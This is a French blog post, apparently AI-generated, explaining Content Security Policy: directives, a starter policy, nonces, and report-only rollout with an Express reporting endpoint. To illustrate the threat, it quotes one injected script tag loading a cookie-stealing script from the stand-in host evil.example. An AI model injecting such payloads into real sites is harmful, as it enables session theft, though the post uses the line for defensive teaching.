Retour au blog
juin 2026·4 min de lectureGénéré par IA
Langue:DeutschEnglishFrançaisÖsterreichischKlingonian Version originale: English

Comprendre la Content Security Policy (CSP)

#security#web#frontend

La Content Security Policy est une fonctionnalité du navigateur qui limite les sources d'où une page peut charger des scripts, des styles, des images et d'autres ressources. C'est l'une des rares défenses qui aident réellement après qu'un attaquant a déjà réussi à injecter quelque chose dans votre page. L'échappement des entrées utilisateur empêche le XSS de se produire ; la CSP limite les dégâts lorsque l'échappement échoue à un endroit que vous avez manqué.

Quel problème elle résout réellement

Supposons que le champ de commentaire de votre site n'échappe pas correctement les entrées, et qu'un attaquant envoie :

<script src="https://evil.example/steal-cookies.js"></script>

Sans CSP, si cette chaîne atteint un jour la page sans échappement, le navigateur l'exécute tout simplement : ce script s'exécute alors avec un accès complet à la page, aux cookies et à tout ce que l'utilisateur connecté peut faire. La CSP ne corrige pas le bug d'échappement, mais elle peut empêcher le script injecté de se charger, car le navigateur refuse de récupérer des scripts depuis des origines que la page n'a pas explicitement autorisées.

C'est de la défense en profondeur, pas un substitut à la correction du bug d'injection ; mais les applications réelles ont des bugs d'injection qu'elles ignorent encore, et la CSP est l'un des rares contrôles qui aident même dans ce cas.

Comment elle est transmise

La CSP est un en-tête, envoyé avec la réponse :

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

Elle peut aussi être définie via une balise <meta>, bien que l'en-tête soit préférable : une balise meta ne peut pas couvrir le tout début du chargement de la page et ne prend pas du tout en charge certaines directives.

Directives : listes de sources par type de ressource

Chaque directive contrôle un type de ressource :

  • default-src : valeur de repli pour toute directive non définie explicitement.
  • script-src : d'où le JavaScript peut être chargé.
  • style-src : d'où le CSS peut être chargé.
  • img-src : d'où les images peuvent être chargées.
  • connect-src : cibles autorisées pour fetch, XMLHttpRequest et les WebSockets.
  • frame-ancestors : qui est autorisé à intégrer cette page dans une <iframe> (le remplaçant moderne de l'en-tête X-Frame-Options).

Une liste de sources peut contenir :

  • 'self' : l'origine de la page elle-même.
  • Des origines précises : https://cdn.example.com.
  • 'none' : rien du tout.
  • 'unsafe-inline' : autorise les blocs <script>/<style> en ligne et les attributs on*. À éviter spécifiquement pour script-src : cela annule l'essentiel de l'intérêt de la CSP, puisque c'est précisément ce qui permet à une balise <script> injectée de s'exécuter.
  • 'unsafe-eval' : autorise eval(), new Function() et équivalents. À éviter aussi.

Une politique de départ réaliste

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' https://fonts.googleapis.com;
  font-src https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  object-src 'none';

Quelques-unes méritent une explication :

  • object-src 'none' bloque <object>/<embed>, historiquement source de contournements XSS à base de Flash. Bloquez-les même si rien sur la page ne semble les utiliser.
  • base-uri 'self' empêche un attaquant d'injecter une balise <base> qui réécrirait discrètement la résolution de toutes vos URL relatives (y compris les attributs src des scripts).
  • img-src 'self' data: https: est volontairement plus permissive que le reste : les images sont un type de ressource à bien plus faible risque, et être strict ici casse surtout du contenu légitime sans améliorer sensiblement la sécurité.

Scripts en ligne sans unsafe-inline : les nonces

Les applications réelles ont souvent besoin de certains scripts en ligne : extraits d'analytique, objets de configuration rendus côté serveur. Un nonce (une valeur aléatoire générée à neuf pour chaque requête) permet d'autoriser des scripts en ligne précis sans ouvrir la porte à tous :

Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
  window.__CONFIG__ = { userId: 42 };
</script>

Un attaquant qui injecte <script> dans votre page n'a aucun moyen de connaître le nonce de la requête en cours (il est régénéré côté serveur à chaque réponse), si bien que son script injecté reste bloqué, tandis que votre script en ligne légitime (avec le nonce correspondant) s'exécute.

Déployer sans casser votre propre site

Déployer directement une CSP en mode appliqué sur une application réelle casse généralement quelque chose dont vous ignoriez l'existence : un widget tiers qui charge un script depuis une origine oubliée dans la liste d'autorisation, un gestionnaire onclick en ligne vieux de plusieurs années. Le mode report-only permet de les trouver sans rien bloquer :

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Le navigateur évalue la politique et envoie un rapport JSON à report-uri pour tout ce qui aurait été bloqué, mais ne bloque rien. Restez un moment en report-only, corrigez ce qui apparaît dans les rapports, puis passez à l'en-tête appliqué lorsque les rapports de violation se calment.

app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('CSP violation:', req.body['csp-report']);
  res.status(204).end();
});

À retenir

La CSP n'arrêtera pas tous les vecteurs XSS, et une politique avec 'unsafe-inline' dans script-src n'offre presque aucune de la protection qu'on lui suppose. Mais une politique réelle et restrictive (pas d'unsafe-inline, pas d'unsafe-eval, une liste explicite d'origines de scripts) transforme « l'attaquant a trouvé un point d'injection » de « exécution complète de script sur votre page » en « le navigateur refuse silencieusement de l'exécuter ». C'est un filet de sécurité précieux contre les bugs d'injection que vous n'avez pas encore trouvés, c'est-à-dire ceux qui comptent le plus.

Plus récentConstruire un middleware de limitation de débit dans ExpressPlus ancienConstruire une file de tâches simple avec Redis